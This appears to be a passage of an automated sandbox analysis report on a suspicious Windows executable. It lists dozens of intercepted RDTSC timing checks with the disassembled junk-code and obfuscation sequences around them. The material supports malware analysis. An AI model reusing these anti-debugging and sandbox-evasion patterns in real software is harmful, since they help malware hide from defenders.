Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63D423 second address: 63D437 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D00h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 642B6D second address: 642B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 642B72 second address: 642B84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007FEB84D86CF6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6430D9 second address: 6430F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB853E3239h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 612486 second address: 61248C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64994B second address: 64994F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64994F second address: 649955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 649BF5 second address: 649BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 649BF9 second address: 649BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 649EAF second address: 649ECC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FEB853E3232h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 649ECC second address: 649EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jg 00007FEB84D86CF6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEB84D86D03h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 649EEE second address: 649EF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FEB853E3226h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BE67 second address: 64BE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BE6B second address: 64BE96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E322Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jmp 00007FEB853E322Dh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jbe 00007FEB853E3234h 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BE96 second address: 64BE9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BE9A second address: 64BEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007FEB853E3238h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BEC4 second address: 64BEDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BEDD second address: 64BF2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FEB853E3226h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FEB853E3228h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 8253387Ah 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FEB853E3239h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BF2A second address: 64BF34 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEB84D86CFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64C241 second address: 64C26B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FEB853E3237h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jc 00007FEB853E3226h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64C496 second address: 64C4B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FEB84D86CFFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64C550 second address: 64C55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEB853E3226h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64CADD second address: 64CAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64CAE3 second address: 64CB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEB853E3230h 0x0000000a popad 0x0000000b mov dword ptr [esp], ebx 0x0000000e and edi, 57F88149h 0x00000014 nop 0x00000015 pushad 0x00000016 push ebx 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a jnp 00007FEB853E323Ah 0x00000020 jmp 00007FEB853E3234h 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FEB853E3230h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64CCCE second address: 64CCD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64D004 second address: 64D026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FEB853E3235h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64D0F3 second address: 64D10E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEB84D86CFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FEB84D86CF8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64D10E second address: 64D118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FEB853E3226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64D62A second address: 64D62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64DFBC second address: 64DFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 651AD2 second address: 651AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6517F0 second address: 6517F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 651AD9 second address: 651ADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 651ADE second address: 651AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 652348 second address: 65234C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 653049 second address: 653052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 652DEA second address: 652DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 653052 second address: 65305E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 652DF0 second address: 652E1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FEB84D86CF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65305E second address: 6530A6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FEB853E3228h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D1D4Eh] 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2F5Bh], eax 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 pop esi 0x00000038 mov edi, dword ptr [ebp+122D2A6Bh] 0x0000003e xchg eax, ebx 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push edx 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 652E1A second address: 652E24 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 653A50 second address: 653AEC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FEB853E322Ch 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 sub dword ptr [ebp+122D1C97h], ecx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007FEB853E3228h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D1D34h], eax 0x0000003c mov esi, dword ptr [ebp+122D2E6Ch] 0x00000042 mov esi, dword ptr [ebp+122D2C20h] 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push ecx 0x0000004d call 00007FEB853E3228h 0x00000052 pop ecx 0x00000053 mov dword ptr [esp+04h], ecx 0x00000057 add dword ptr [esp+04h], 00000019h 0x0000005f inc ecx 0x00000060 push ecx 0x00000061 ret 0x00000062 pop ecx 0x00000063 ret 0x00000064 xchg eax, ebx 0x00000065 push ebx 0x00000066 jbe 00007FEB853E3238h 0x0000006c jmp 00007FEB853E3232h 0x00000071 pop ebx 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 653AEC second address: 653AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6542F4 second address: 6542F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6583FB second address: 6583FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65929D second address: 6592A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 657475 second address: 65747A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 659514 second address: 65951A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65951A second address: 659537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB84D86D09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C27F second address: 65C285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C285 second address: 65C293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FEB84D86CF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C293 second address: 65C29D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C29D second address: 65C2A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C2A9 second address: 65C2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C899 second address: 65C8DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov di, 5C7Fh 0x0000000f push 00000000h 0x00000011 mov ebx, edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FEB84D86CF8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f sub di, E3C0h 0x00000034 mov edi, 3D779FE6h 0x00000039 xchg eax, esi 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C8DB second address: 65C8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65C8DF second address: 65C8E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65D98E second address: 65D9F9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 js 00007FEB853E323Ch 0x00000016 jmp 00007FEB853E3236h 0x0000001b nop 0x0000001c mov ebx, dword ptr [ebp+122D3869h] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007FEB853E3228h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e mov edi, 063DFED6h 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 jl 00007FEB853E3238h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FEB853E322Ah 0x00000053 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65CA97 second address: 65CAA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65CAA5 second address: 65CAB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnl 00007FEB853E3226h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65DB68 second address: 65DB6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65EBA7 second address: 65EBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEB853E3226h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65EBB2 second address: 65EBCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB84D86D05h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65EBCB second address: 65EBD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 663B49 second address: 663B4E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 663B4E second address: 663BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D373Fh] 0x00000010 push 00000000h 0x00000012 mov ebx, 1C215C20h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FEB853E3228h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 xchg eax, esi 0x00000034 jne 00007FEB853E3230h 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007FEB853E322Eh 0x00000041 push esi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 661AE3 second address: 661AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 665C02 second address: 665C52 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FEB853E3230h 0x0000000d nop 0x0000000e mov ebx, 68D4EBB0h 0x00000013 push 00000000h 0x00000015 mov bx, di 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FEB853E3228h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 adc edi, 3D02B062h 0x0000003a push eax 0x0000003b push ebx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65FB7B second address: 65FB99 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEB84D86D02h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 65FB99 second address: 65FB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 664E1E second address: 664E38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 664E38 second address: 664E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB853E3237h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 662D84 second address: 662D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 666C0C second address: 666C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 cmc 0x00000007 push 00000000h 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FEB853E3228h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D1D8Bh] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FEB853E3228h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 xchg eax, esi 0x00000046 jmp 00007FEB853E322Dh 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push ebx 0x0000004f push edi 0x00000050 pop edi 0x00000051 pop ebx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 666DF7 second address: 666E01 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 666E01 second address: 666E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 66DC04 second address: 66DC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67337F second address: 673389 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
